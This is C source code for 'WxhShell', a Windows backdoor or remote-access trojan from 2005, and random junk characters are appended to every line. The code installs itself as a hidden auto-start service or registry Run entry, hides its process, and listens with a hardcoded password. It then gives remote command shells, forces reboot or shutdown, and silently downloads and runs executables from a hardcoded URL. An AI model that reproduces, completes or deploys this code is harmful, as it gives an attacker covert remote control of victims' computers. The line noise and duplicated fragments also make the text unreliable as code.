    break; g *5_m(H  
    } g[cnaS|?  
  // 关机 u#6s^ )W  
  case 'd': { [s}W47N1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wgz]R  
    if(Boot(SHUTDOWN)) *q}yfa35eR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'o='Q)Dk  
    else { E:` _P+2p  
    closesocket(wsh); GMU!GSY  
    ExitThread(0); \`.v8C>vG  
    } &r,vD,  
    break; Zma;An6  
    } C(>!?-.  
  // 获取shell [8u9q.IZ  
  case 's': { y&\4Wr9m  
    CmdShell(wsh); 0f4 y"9m  
    closesocket(wsh); oc?|"  
    ExitThread(0); 2)EqqX[D  
    break; 73qE!(  
  } QL0q/S1*  
  // 退出 'a(y]QG  
  case 'x': { ximVh}'a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F=\ REq  
    CloseIt(wsh); 8UB2 du@?  
    break; 'IU3Xu[-.  
    } jHEP1rNHE  
  // 离开 `8ob Xb  
  case 'q': { lhM5a \  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RFM;?!S  
    closesocket(wsh); A6z2KVk  
    WSACleanup();  II'.vp  
    exit(1); fhi}x(  
    break; ?0)K[Kd'Y  
        } 5Q"yn2b4  
  } bI.hG32  
  } (-ELxshd  
RIkIE=+6  
  // 提示信息 !\b-Ot(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x@ X2r  
} h<L_ =)lH  
  } a>C;HO  
:@(1~Hm  
  return; 6TRLHL~B  
} 2UQF:R?LQ  
Zx8$M5  
// shell模块句柄 OX,em Ti  
int CmdShell(SOCKET sock) (ot,CpI(I  
{ "%K'~"S#Q,  
STARTUPINFO si; H~*N:$C  
ZeroMemory(&si,sizeof(si)); F=5+JjrX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K0>;4E>B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gpq ,rOIK  
PROCESS_INFORMATION ProcessInfo; o^@#pU <  
char cmdline[]="cmd"; KXZ G42w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LYAGpcG  
  return 0; <hzHrx'o{  
} Cuylozj$&  
Dx\~#$S!=  
// 自身启动模式 "d}']M?-h  
int StartFromService(void) ,t_&tbf3  
{ tOXyle~C  
typedef struct Ew4D'; &;  
{ 1G A.c:  
  DWORD ExitStatus; rvx2{1}I  
  DWORD PebBaseAddress; `;Ui6{|  
  DWORD AffinityMask; '!$ QI@@  
  DWORD BasePriority; uj;iE 9  
  ULONG UniqueProcessId; rHk(@T.]  
  ULONG InheritedFromUniqueProcessId; ~LI}   
}   PROCESS_BASIC_INFORMATION; <Z[Z&^  
8K^#$,.."  
PROCNTQSIP NtQueryInformationProcess; xlcCL?qQj  
!UT!PX)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kM-8%a2i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vEjf|-Mb9  
xTk6q*NvT^  
  HANDLE             hProcess; ]G&[P8hz B  
  PROCESS_BASIC_INFORMATION pbi; 'h ?  
/@Jg [na  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ql%K+4@  
  if(NULL == hInst ) return 0; i=5!taxu}E  
eG+$~\%Fub  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O-0 5.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'RwfW|~6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^?|4<Rm  
BgN^].z&  
  if (!NtQueryInformationProcess) return 0; t(<k4ji,  
/?BTET  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LQqba4$  
  if(!hProcess) return 0;  irh Z  
2K3j3|T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nUs=PD3)  
H.hKh  
  CloseHandle(hProcess); dJzaP  
D=LsoASVI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /0`Eux\  
if(hProcess==NULL) return 0; nYC.zc*ox  
Z$i?p;HnW  
HMODULE hMod; n=f?Q=h\3  
char procName[255]; 0^L:`[W+  
unsigned long cbNeeded; |0^IX   
;"f9"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &'neOf/~  
f*V^HfiQb  
  CloseHandle(hProcess); p%Q{Rqc)  
io"NqR#"v  
if(strstr(procName,"services")) return 1; // 以服务启动 zp4@T)  
J*ofa>  
  return 0; // 注册表启动 lX.1B&T9Lr  
} 0(C[][a*u  
(gdzgLHy  
// 主模块 3p-SpUvp  
int StartWxhshell(LPSTR lpCmdLine) RYl{89  
{ cEXd#TlY~X  
  SOCKET wsl; <`q-#-V@  
BOOL val=TRUE; w3iX "w  
  int port=0; n\7 >_  
  struct sockaddr_in door; Z3<lJk\Y  
0LGHSDb  
  if(wscfg.ws_autoins) Install(); X+;#^A3  
aR)UHxvX  
port=atoi(lpCmdLine); M~X~2`fFH  
l"&iSq!3=  
if(port<=0) port=wscfg.ws_port; W`[7|8(6!  
$Q|6W &?[;  
  WSADATA data; H>\l E2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }If,O  
$/u.F;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )+)qFGVz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~urk Uz  
  door.sin_family = AF_INET; t& yuo E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gjJ:s,Fg  
  door.sin_port = htons(port); W;X:U.  
EnMc9FN(y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1JS5 LS  
closesocket(wsl); 6DEH |2  
return 1; ?+c-m+;wj  
} 3nq4Y'  
C-:|A* z  
  if(listen(wsl,2) == INVALID_SOCKET) { < A`srmS?  
closesocket(wsl); )):D&wlq  
return 1; ()Img.TIt  
} .<K9Zyi  
  Wxhshell(wsl); %Zeb#//Jz  
  WSACleanup(); <0/)v J- 9  
V+u0J"/8  
return 0; 8`<3rj  
[8b{Yba z  
} s2tNQtq 0W  
HS.eK#:N  
// 以NT服务方式启动 (6)|v S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Rs'mk6+  
{ vN6)Szim  
DWORD   status = 0; (^ J2(  
  DWORD   specificError = 0xfffffff; 7*+tG7I @  
|>JRJ"CFE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E0A[{UA   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Sfi1bsK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0LWV.OIIC  
  serviceStatus.dwWin32ExitCode     = 0; 5 yL"=3&+  
  serviceStatus.dwServiceSpecificExitCode = 0; t,5AoK/NL9  
  serviceStatus.dwCheckPoint       = 0; `j6O  
  serviceStatus.dwWaitHint       = 0; k c L +  
sEa|2$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {FN CC*=  
  if (hServiceStatusHandle==0) return; %zjyZ{=  
t4zKI~cO  
status = GetLastError(); PTF|"^k+   
  if (status!=NO_ERROR) [L2N[vy;  
{ bM,%+9oz;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m*AiP]Qu  
    serviceStatus.dwCheckPoint       = 0; ` b)i;m  
    serviceStatus.dwWaitHint       = 0; BE!WCDg,  
    serviceStatus.dwWin32ExitCode     = status; =1VpO{ q  
    serviceStatus.dwServiceSpecificExitCode = specificError; TaG (sRI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ 3Sm?  
    return; U@".XIDQ  
  } PmUq~YZ7  
e=i9l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; dY?>:ce  
  serviceStatus.dwCheckPoint       = 0; 1mv8[^pF  
  serviceStatus.dwWaitHint       = 0; <@c9S,@t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qwuA[QkPi  
} No'Th7=|S  
xy^z_`  
// 处理NT服务事件,比如:启动、停止 wA";N=i=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x qj@T^y  
{ E**Hu9  
switch(fdwControl) UotLJa  
{ W> $mU&ew[  
case SERVICE_CONTROL_STOP: uF@DJX}>  
  serviceStatus.dwWin32ExitCode = 0; DbN_(mC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vpxsg CS  
  serviceStatus.dwCheckPoint   = 0; "2 qivJ  
  serviceStatus.dwWaitHint     = 0; F,xFeq$/{  
  { 239g pf]}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d?[8VfAnh  
  } GS,}]c=  
  return; 1[(/{CClB  
case SERVICE_CONTROL_PAUSE: \2 [  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qD(dAU  
  break; KhNE_. Z  
case SERVICE_CONTROL_CONTINUE: {G-y7y+E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iB*1Yy0DC  
  break; tIW~Ng  
case SERVICE_CONTROL_INTERROGATE: j[$+hh3:  
  break; RAoY`AWI  
}; q:P44`Aq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rVb61$  
} BKfoeN)%  
VBg M7d  
// 标准应用程序主函数 A{wSO./3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %xwtG:IKEV  
{ zRA,Yi4;+  
ugQySg>  
// 获取操作系统版本  rUBc5@|  
OsIsNt=GetOsVer(); (p?B=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y-P?t+l  
xU;Q ~(  
  // 从命令行安装 5J*h7  
  if(strpbrk(lpCmdLine,"iI")) Install(); MgQb" qx  
$$---Y   
  // 下载执行文件 *qw//W   
if(wscfg.ws_downexe) { bP1]:^ x@W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3Ebkq[/*%  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4nD U-P#f  
} >^adxXw.o  
9y*pn|A[F  
if(!OsIsNt) { F t;[>o  
// 如果时win9x,隐藏进程并且设置为注册表启动 BA`K,#Ft7  
HideProc(); 2]_fNCNLN  
StartWxhshell(lpCmdLine); <w0$0ku  
} =\x(Rs3  
else IUwMIHq&sW  
  if(StartFromService()) ()EiBl(kWk  
  // 以服务方式启动 HhT6gJWrU  
  StartServiceCtrlDispatcher(DispatchTable); @l&>C#K\  
else :cE~\B S&  
  // 普通方式启动 `j(-y`fo  
  StartWxhshell(lpCmdLine); uVLKR PY  
LVNJlRK  
return 0; )uH#+IU  
} @l@erCw@  
+r 8/\'u-  
1|H(q  
j<'ZO)q`Q  
=========================================== Bpdx]5qfK  
!WQS.&  
 uzaD K  
h$a% PaVf  
nCdxn#|  
Nr0}*8#j  
" oz/Nx{bg  
q,2 +\i  
#include <stdio.h> eGlPi|  
#include <string.h> >WYradLUi  
#include <windows.h> 4 JDk ()  
#include <winsock2.h> =LojRY  
#include <winsvc.h> ]"-c?%L  
#include <urlmon.h> MI|anM  
S2"H E`  
#pragma comment (lib, "Ws2_32.lib") nQ^ c{Bm:  
#pragma comment (lib, "urlmon.lib") yq\p%z$:  
|eFce/  
#define MAX_USER   100 // 最大客户端连接数 0I"r*;9?K  
#define BUF_SOCK   200 // sock buffer Cc>+OUL  
#define KEY_BUFF   255 // 输入 buffer Tj,1]_`=V$  
&265 B_'D  
#define REBOOT     0   // 重启 N Uo   
#define SHUTDOWN   1   // 关机 SR*KZ1U  
U|)CZcM  
#define DEF_PORT   5000 // 监听端口 _Rm1-,3  
GGkU$qp2~  
#define REG_LEN     16   // 注册表键长度 i>=!6Hu2  
#define SVC_LEN     80   // NT服务名长度 NT<vs"<B  
DjveMs$d  
// 从dll定义API n8'#'^|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )XoIb[s"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xPorlX)zW  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f|'8~C5I@>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @0U={qX  
h5VZ-v_j  
// wxhshell配置信息 F4 :#okt  
struct WSCFG { FR? \H"'x  
  int ws_port;         // 监听端口 _jD\kg#LY  
  char ws_passstr[REG_LEN]; // 口令 Zp <^|=D  
  int ws_autoins;       // 安装标记, 1=yes 0=no xjg(}w  
  char ws_regname[REG_LEN]; // 注册表键名 "P@oO,.  
  char ws_svcname[REG_LEN]; // 服务名 }\/ 3B_X6N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KVZ-T1K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Y\hC0a60  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =p 7eP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,K~r':ht  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p1B~F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2s<uT  
Mib<1ZM  
}; {~+o+LV  
C`r{B.t`GT  
// default Wxhshell configuration K%RjWX=H  
struct WSCFG wscfg={DEF_PORT, NX9K%J  
    "xuhuanlingzhe", *_CzCl^   
    1, xJ|_R,>.H  
    "Wxhshell", 0`%Ask  
    "Wxhshell", We?cRb  
            "WxhShell Service", .Arcsg   
    "Wrsky Windows CmdShell Service", xdkC>o4>  
    "Please Input Your Password: ", u#~q86k  
  1, K *xca(6  
  "http://www.wrsky.com/wxhshell.exe", ,7mB`0j>  
  "Wxhshell.exe" \9`76*X6 c  
    }; V"DilV$v  
0m 7_#g4$L  
// 消息定义模块  Va3/#is'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8a,pDE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L@>$ Aw  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x4%1P w  
char *msg_ws_ext="\n\rExit."; [ T!0ka  
char *msg_ws_end="\n\rQuit."; (hFyp}jkk  
char *msg_ws_boot="\n\rReboot..."; $hq'9}ASOL  
char *msg_ws_poff="\n\rShutdown..."; SVJt= M  
char *msg_ws_down="\n\rSave to "; l/g6Tv `w  
.}ePm(  
char *msg_ws_err="\n\rErr!"; d}--}&r  
char *msg_ws_ok="\n\rOK!"; a5nA'=|}i  
FoB^iA6 e  
char ExeFile[MAX_PATH]; g vu1  
int nUser = 0; l[u=_uaYl  
HANDLE handles[MAX_USER]; o* C_9M  
int OsIsNt; .LA?2N  
zyPc<\HoK  
SERVICE_STATUS       serviceStatus; $fFh4O4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gjDxgNpa  
8qWN~Gk1p{  
// 函数声明 AOscewQ  
int Install(void); ((cRe6  
int Uninstall(void); L wP  
int DownloadFile(char *sURL, SOCKET wsh); ['jr+gIfQ  
int Boot(int flag); x_$`#m{hL5  
void HideProc(void); Zj5B}[,l\  
int GetOsVer(void); Ge+T[  
int Wxhshell(SOCKET wsl); ibn(eu<uW  
void TalkWithClient(void *cs); M" R= ;n  
int CmdShell(SOCKET sock); `Tk GI0q  
int StartFromService(void); M~,N~ N1  
int StartWxhshell(LPSTR lpCmdLine); &"'Z)iWm  
uN+]q qCf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "^NsbA+  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4I!g?Moh  
Z )'gj  
// 数据结构和表定义 w:c9Z=KX  
SERVICE_TABLE_ENTRY DispatchTable[] = Z,1b$:+  
{ ~>B`T%=H  
{wscfg.ws_svcname, NTServiceMain}, r}i}4K[1  
{NULL, NULL} 45.Vr[FS.  
}; 0I['UL^!F  
X<mlaXwrA  
// 自我安装 k<}3_   
int Install(void) r<c&;*  
{  KGJ *h  
  char svExeFile[MAX_PATH]; _:7:ixN[Ie  
  HKEY key; kY^ k*-v  
  strcpy(svExeFile,ExeFile); "X,*VQl:  
/_qW?LKG/  
// 如果是win9x系统,修改注册表设为自启动 W*r1Sy  
if(!OsIsNt) { p-XO4Pc 6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L25%KGg' o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )18C(V-x  
  RegCloseKey(key); ToX--w4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jp"yb`w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o1Nfn'!3/>  
  RegCloseKey(key); LDh,!5G-M  
  return 0; }*?,&9/_)  
    } Fxv5kho  
  } W[<ZI>mf  
} 3 nnoXc'  
else { 0)rayzv  
bYBEh n  
// 如果是NT以上系统,安装为系统服务 $Ts;o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i|[**P  
if (schSCManager!=0) ],s{%a5wC  
{ 3@42u G>  
  SC_HANDLE schService = CreateService 5 BLAa1  
  ( J#xZ.6)  
  schSCManager, y;<F|zIm  
  wscfg.ws_svcname, K$I`&M(  
  wscfg.ws_svcdisp, XNJ3.w:R  
  SERVICE_ALL_ACCESS, Z ygu/M 6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6u>]-K5  
  SERVICE_AUTO_START, K.Tob,5`  
  SERVICE_ERROR_NORMAL, i ?PgYk&}  
  svExeFile, :}z `4S@b  
  NULL, JFFluL=-  
  NULL, >Og|*g  
  NULL, 1YN w=  
  NULL, @Yn+ir0>O  
  NULL V5'(op/  
  ); mgMa)yc!dp  
  if (schService!=0) otX/sg.B*  
  { jss.j~8  
  CloseServiceHandle(schService); xVk5%  
  CloseServiceHandle(schSCManager); Ey=ymf.}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qe 'RvBz  
  strcat(svExeFile,wscfg.ws_svcname); 3~1Gts  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 54].p7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +U)4V}S)  
  RegCloseKey(key); M+*K-zt0  
  return 0; W*B=j[w  
    } ;Z); k`j  
  } {2k]$|  
  CloseServiceHandle(schSCManager); //'&a-%$^  
} +Fb+dU  
} RM;Uq >l  
=0a z5td  
return 1; _L+j6N.h1  
} BbiyyRa  
Z/czAr@4  
// 自我卸载 7=/iFv[  
int Uninstall(void) u\;d^A  
{ b]  
  HKEY key; sI.p( -K Q  
0O[le*3b  
if(!OsIsNt) { YSrjg|k*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &\%\"Zh  
  RegDeleteValue(key,wscfg.ws_regname); ""A6n{4  
  RegCloseKey(key); [bw1!X3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O?ODfO+>  
  RegDeleteValue(key,wscfg.ws_regname); ~ #7@;C<nt  
  RegCloseKey(key); Gt)ij?~  
  return 0; w'E(9gV  
  } F ^Bk  @  
} v: veKA  
} yf7|/M  
else { Mh{244|o[  
_PcF/Gyk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HX)]@qL  
if (schSCManager!=0) IXG@$O?y/  
{ N0%q 66]1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZZL@UO>:  
  if (schService!=0) a@J/[$5  
  { sY4q$Fq  
  if(DeleteService(schService)!=0) { CF 3V)3}  
  CloseServiceHandle(schService); zU0SlRFu  
  CloseServiceHandle(schSCManager); H32o7]lT  
  return 0; 9c%CCZ  
  } \t 5_V)P  
  CloseServiceHandle(schService); \E[6wB>uN%  
  } e{9~m  
  CloseServiceHandle(schSCManager); \B^NdG5Y  
} M4D @G  
} OE}FZCX F  
xZ6x`BET-  
return 1; na|sKE;{  
} \KzH5?  
@v#,SF{  
// 从指定url下载文件 g/_0WW]}  
int DownloadFile(char *sURL, SOCKET wsh) )E}@h%d  
{ I\x9xJ4x  
  HRESULT hr; 684d&\(s  
char seps[]= "/"; >JAWcT)d  
char *token; &_u.q/~   
char *file; a#k7 aOT0  
char myURL[MAX_PATH]; c& I  
char myFILE[MAX_PATH]; e`:^7$  
N:+)6a  
strcpy(myURL,sURL); \|6VGh \Z  
  token=strtok(myURL,seps); {o 2 qY|S  
  while(token!=NULL) H>W8F2VT  
  { fERO(o  
    file=token; K7([Gc9  
  token=strtok(NULL,seps); DVVyWn[  
  } ;b:'i& r  
5\= y9Z- x  
GetCurrentDirectory(MAX_PATH,myFILE); N .H<'Q8&  
strcat(myFILE, "\\"); /&<V5?1|  
strcat(myFILE, file); !/!ga)Y  
  send(wsh,myFILE,strlen(myFILE),0); _6V1oe2  
send(wsh,"...",3,0); iEZ+Znon  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]<C]`W2{  
  if(hr==S_OK) c#>(8#'.U  
return 0; vS)>g4  
else 1;H"4u_IG&  
return 1; *c [^/  
J8i,[,KcE  
} ~\8(+qIv%f  
i/skU9  
// 系统电源模块 KPI96P  
int Boot(int flag) 3h:y[Vm#9y  
{ gnjhy1o  
  HANDLE hToken; N'WC!K.e  
  TOKEN_PRIVILEGES tkp; J{.UUw9Agd  
\1LfDlQk)  
  if(OsIsNt) { s'oNW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tv.<pP9-C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NPS*0y/  
    tkp.PrivilegeCount = 1; #4b]j".P!n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TYb$+uY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `CH,QT7e  
if(flag==REBOOT) { bc4V&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]d-.Mw,'  
  return 0; o{! :N>(  
} ! xG*W6IT  
else { \Dy|}LE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A+gS'DZ9C  
  return 0; )Z:D}r8[  
} `:;q4zij;  
  } E_aBDiyDf  
  else { Y*PfU +y~  
if(flag==REBOOT) { g_`a_0v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9$Z0mzk  
  return 0; /1v9U|j  
} *<!q@r<d  
else { )S(Ly.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XC)9aC@s  
  return 0; *; ]}`r  
} }ePl&-9T  
} *=2W:,$  
U31@++C[  
return 1; <K`E*IaW  
} -PAEJn5$O  
|Ia9bg'1U  
// win9x进程隐藏模块 p/?o^_s  
void HideProc(void) 8"9&x} tl-  
{ uT4|43< G  
nAEyL+6U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); No} U[u.O  
  if ( hKernel != NULL ) z__?kY  
  { |Z<\kx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n)98NSVDbT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,`Y$}"M4  
    FreeLibrary(hKernel); >*8V]{f9  
  } SXZ9+<\  
m]!hP^^  
return; U`i5B;k}-  
} +q '1P}e  
26rg-?;V^  
// 获取操作系统版本 kuy?n-1g  
int GetOsVer(void) xF8n=Lc  
{ cQyN@W  
  OSVERSIONINFO winfo; z'_Fg0kR{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1wKXOy=v0  
  GetVersionEx(&winfo); ^]nLE]M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7>__ fQu  
  return 1; , :#bo]3  
  else 0DmA3  
  return 0; .{h"0<x  
} BZ?Ck[E]Z  
|cf-S8pwY  
// 客户端句柄模块 TXmS$q   
int Wxhshell(SOCKET wsl) d@$| zr6  
{ pWGR #x'  
  SOCKET wsh; ]`|$nU}v  
  struct sockaddr_in client; 3W%6n-*u  
  DWORD myID; eKvr1m- -  
0_gN]>,9n  
  while(nUser<MAX_USER) )*;Tt @'y  
{ /;#kV]nF  
  int nSize=sizeof(client); b4e~Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %-540V{q  
  if(wsh==INVALID_SOCKET) return 1; &sWr)>vs  
p8~lGuH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !%,7*F(  
if(handles[nUser]==0) )N&SrzqTK  
  closesocket(wsh); LJGpa )(  
else FN-/~Su~J  
  nUser++; 6iyl8uL0J  
  } # dWz,e3   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lj<TzPzg*  
P_1WJ  
  return 0; M?eP1v:<+G  
} e$Ds2%SaT  
j8` B  
// 关闭 socket "/aZ*mkjfJ  
void CloseIt(SOCKET wsh) PN l/}'  
{ j2MA['{  
closesocket(wsh); O8@65URKx  
nUser--; 0Idek  
ExitThread(0); ]`&_!T  
} bE !SW2:M  
q!z"YpYB  
// 客户端请求句柄 Yub}AuU`v  
void TalkWithClient(void *cs) Cdz&'en^  
{ _Sr7b#)o  
rUb{iU;~m  
  SOCKET wsh=(SOCKET)cs; ;`78h?`  
  char pwd[SVC_LEN]; 2!s PgIz  
  char cmd[KEY_BUFF]; /:4J  
char chr[1]; \34vE@V*  
int i,j; XIl <rN@-  
Jw;~$  
  while (nUser < MAX_USER) { @*YF!LdU{M  
 !Ld5Y$  
if(wscfg.ws_passstr) { u /F!8#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8!{*!|Xd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2<EV iP9  
  //ZeroMemory(pwd,KEY_BUFF); ?}cmES kX@  
      i=0; "[_j8,t`  
  while(i<SVC_LEN) { .`OU\LA  
`MOw\Z)..  
  // 设置超时 M*zpl}  
  fd_set FdRead; @sLN  
  struct timeval TimeOut; V!He2<  
  FD_ZERO(&FdRead); 2LtDS?)@  
  FD_SET(wsh,&FdRead); %} `` :  
  TimeOut.tv_sec=8; hu}$\  
  TimeOut.tv_usec=0; e"S?qpJK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P51M?3&=l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R5uG.Oj-2  
d?*] /ZiR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = j1Jl^[  
  pwd=chr[0]; >a?Bk4w  
  if(chr[0]==0xd || chr[0]==0xa) { v1OVrk>s>  
  pwd=0; fvC,P#z'|  
  break; ]/=RABi  
  } S0^a)#D &  
  i++; 7S a9  
    } C t,p  
^^N|:80  
  // 如果是非法用户,关闭 socket Jl~ *@0(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ( eTrqI`  
} zC2:c"E I  
BPO5=]W 7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X0;u7g2Yz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Yt{h9  
hC\ l \y  
while(1) { ( s3k2Z  
E!9WZY  
  ZeroMemory(cmd,KEY_BUFF); k H.dtg_  
PILpWhjL$9  
      // 自动支持客户端 telnet标准   A & iv  
  j=0; 1+FVM\<&  
  while(j<KEY_BUFF) { q?}C`5%D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  k[r^@|  
  cmd[j]=chr[0]; vE:*{G;Y  
  if(chr[0]==0xa || chr[0]==0xd) { keAoJeG,J  
  cmd[j]=0; EQm{qc;  
  break; &:  Q'X  
  } 6.D|\;9{c  
  j++; cpdESc9W  
    } W8d-4')|  
_Si=Jp][  
  // 下载文件 ?})A-$f ~  
  if(strstr(cmd,"http://")) { i>Q!5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dCd~]CI  
  if(DownloadFile(cmd,wsh)) Nz dN4+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ukiWNF/  
  else aK_5@8+ZD  
